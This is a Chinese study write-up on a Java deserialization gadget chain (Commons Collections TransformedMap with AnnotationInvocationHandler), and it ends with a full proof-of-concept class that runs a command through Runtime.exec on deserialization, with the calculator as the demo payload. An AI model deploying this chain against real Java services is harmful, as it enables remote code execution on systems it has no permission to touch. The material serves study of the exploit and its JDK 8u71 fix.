反序列化Gadget学习篇二 CommonCollections0.5
学习JAVA安全漫谈,理解CC利用链,按步骤理解每一个部分,每一个点为什么是这样的。
P神学习⽅式的探索
有时候想要学习⼀个东⻄,⽹上搜索⼀下,发现有教程,于是跟着做⼀遍。这样⼀来,你会发现⽹上⼤部分Java反序列化“教程”、“⼊⻔”通常上来先了解Java反序列化是什么,然后很快开始讲CommonsCollections ,就好像刚知道C语⾔语法的同学⽴⻢继续学习Linux内核,我是⼗分不建议这样做的,除⾮你有⾮常强的理解能⼒。
学习需要聪明⼀点,并独⽴思考问题。我很少参照别⼈的⽂章来学习,这样你学的东⻄是⼆⼿的,有时候连⼆⼿都不是,⽂章原作者也可能是参考另⼀篇⽂章写的。我的建议是从⽂档和源码开始学,实在有压⼒可以参考⼀些⻛评较好的书籍或技术博客。
由URLDNS链入门,再分析CC链,明显效果好很多,感谢phith0n的JAVA安全漫谈系列文章,讲的非常清楚。
为什么叫做CommonCollections0.5,因为不是严格意义上大家说的CC1,CC1链使用的是LazyMap,而不是TransformedMap,这部分主要是帮助理解反序列化链,避免误导叫做CC0.5
一、 CC链核心(荷载payload)
大佬们发现org.apache.commons.collections.Transformer 可以实现命令执行且可以被序列化于是有了:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers2);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain);
innerMap.put("value", "xxxx");
首先Transformer是一个接口,ConstantTransformer和InvokerTransformer和ChainedTransformer都是实现了这个接口的类,这个接口只有一个transform方法,关键就在这个transform。
1. 起点TransformedMap.decorate
TransformedMap.decorate(map,keyTransformer,valueTransformer)
这个函数的作用是给一个map设置一个回调,当有新的键值被put的时候,触发回调,对key用keyTransformer处理,对value用valueTransformer处理。这个valueTransformer可以传上面transform的任意一个实现类,比如transformerChain
2. 链式调用transformerChain
transformerChain通过一个Transformer数组初始化,循环调用这个数组中的每一个类的transform方法,并把结果重新赋值给下一个的参数,也就是通过这个链可以实现类似Runtime.getRuntime().exec("whoami")中点(.)的效果。
3. 链式调用的头部ConstantTransformer
ConstantTransformer 构造函数会把参数保存到字段中,在调用transform时返回
正好通过这个类可以获取一个初始的对象,开始链式调用,因此就有了最前面的调用链。
4. 触发
一切准备就绪,只需要触发回调,也就是向Map中村一组数据:
innerMap.put("value", "xxxx");
即可触发,弹出计算器,到这一步就完成了通过CommonCollections执行任意命令
二、反序列化触发(推进器)
第一部分通过手动put一个值到Map中触发了命令执行。实际场景中我们需要通过反序列化来触发,需要找一个类,这个类的readObject()方法中有类似的向一个Map中put键值的操作:sun.reflect.annotation.AnnotationInvocationHandler
这个类是一个内部类,无法直接实例化,需要通过反射修改属性调用,继续上面的代码,去掉手动put的部分,我们已经准备好了一个outerMap对象。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 通过outmap初始化一个AnnotationInvocationHandler,注意这里的第一个参数Retention.class,有特殊作用,后面讲
Object obj = constructor.newInstance(Retention.class, outerMap);
到此为止,我们准备好了一个AnnotationInvocationHandler对象,只要对其进行序列化,发送给漏洞存在点,即可执行命令,模仿一下:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
oos.close();
System.out.println(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
执行后发现报错:
java.lang.Runtime
没有实现java.io.Serializable
接口
要把AnnotationInvocationHandler序列化,带序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable接口,但是Runtime是没有实现接口的,不允许被序列化,因此要通过反射去获取,要修改chain,分多个步骤返回,正常反射写法:
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("whomi");
我们需要按照反射函数的参数类型和参数值写Transformer
ransformer[] transformers2 = new Transformer[]{
// 返回一个Runtime的class对象,class对象是实现了Serializable接口的,可以被序列化
new ConstantTransformer(Runtime.class),
// 调用Runtime.class.getMethod("getRuntime"),返回Method , 注意getMethod是有两个参数的,没有只有一个函数的重载版本
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// 调用Method.invoke(null) 返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
// 调用Runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
把Map绑定到改好的transformers2链上,就解决了报错的问题。
继续执行计算器也没有执行。调试发现在AnnotationInvocationHandler的readObject()方法中有一个判断,var7!=null,直接按照上面的方法调用,var7就是null,因此没有执行到setValue赋值的位置。
这个涉及到java注释(Annotation是注解的意思)相关,需要两个条件:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
- 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
这里关联到在用构造函数实例化AnnotationInvocationHandler时,参数使用的是Retention,因为这个类有一个value方法,且是Annotation的子类,所以需要在Map中放一个key是value的元素java innerMap.put("value", "xxxx");
修改后 run 成功:
三、修复
因为利用链并不是漏洞,只是一系列正常功能的组合,漏洞触发点在反序列的接口。因此没有针对性的修复,但是在8u71以后大概是2015年12月的时候,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。
因此使用TransformedMap的CommonCollections1只能在jdk8u71以前使用,环境要求较高,这也是为什么yso项目里面没有使用TransformedMap,而使用了LazyMap的原因。
本文仅作为个人的学习记录,可能比原文要差很多,只记录自己的理解思路。完整代码在最后。
完整思路代码:
package changez.sec.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
// CC最简单demo,只是使用Transformer完成了一次命令执行,不涉及任何反射和反序列化,主要用于了解Transformer利用链。不是真正的poc
public class CommonCollections1 {
public static void main(String[] args) throws Exception{
/* 3.2 要把AnnotationInvocationHandler序列化,带序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable接口,但是Runtime是没有实现接口的,不允许被序列化
* 因此要通过反射去获取,要修改chain,分多个步骤返回,正常反射写法:
* Method f = Runtime.class.getMethod("getRuntime");
* Runtime r = (Runtime) f.invoke(null);
* r.exec("whomi");
* 需要按照反射函数的参数类型和参数值写Transformer
*/
Transformer[] transformers2 = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 调用Runtime.class.getMethod("getRuntime"),返回Method , 注意getMethod是有两个参数的,没有只有一个函数的重载版本
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// 调用Method.invoke(null) 返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
// 调用Runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 新的transformers2,里面没有用到任何其他对象,只有字符串,也就不存在不能序列化的问题
// 1.初始化一个Transformer数组对象,第一个元素值是一个ConstantTransformer对象,第二个元素值是一个InvokerTransformer对象,这两个都是Transformer的实现类
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
// 2.初始化一个transformerChain,绑定到outerMap,也就是当outerMap有新增元素时,触发执行transformerChain链
Transformer transformerChain = new ChainedTransformer(transformers2);
Map innerMap = new HashMap();
/**
* 4.修改完3以后发现仍然没有计算器弹出, debug AnnotationInvocationHandler.readObject()方法发现有一个判断var7不能为null的判断,涉及到java注释相关,需要两个条件:
* * sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
* * 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
* 这里关联到在用构造函数实例化AnnotationInvocationHandler时,参数使用的是Retention,因为这个类有一个value方法,且是Annotation的子类,所以需要在Map中放一个key是value的元素
*/
innerMap.put("value", "xxxx");
// 把Map和回调绑定
Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain);
// 3.增加新元素触发
// outerMap.put("test", "xxxx");
// 3.1 实战反序列化时,需要找到一个类,能完成类似的写入操作sun.reflect.annotation.AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
oos.close();
System.out.println(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
参考链接;
https://govuln.com/docs/
https://kingx.me/commons-collections-java-deserialization.html
https://www.anquanke.com/post/id/82934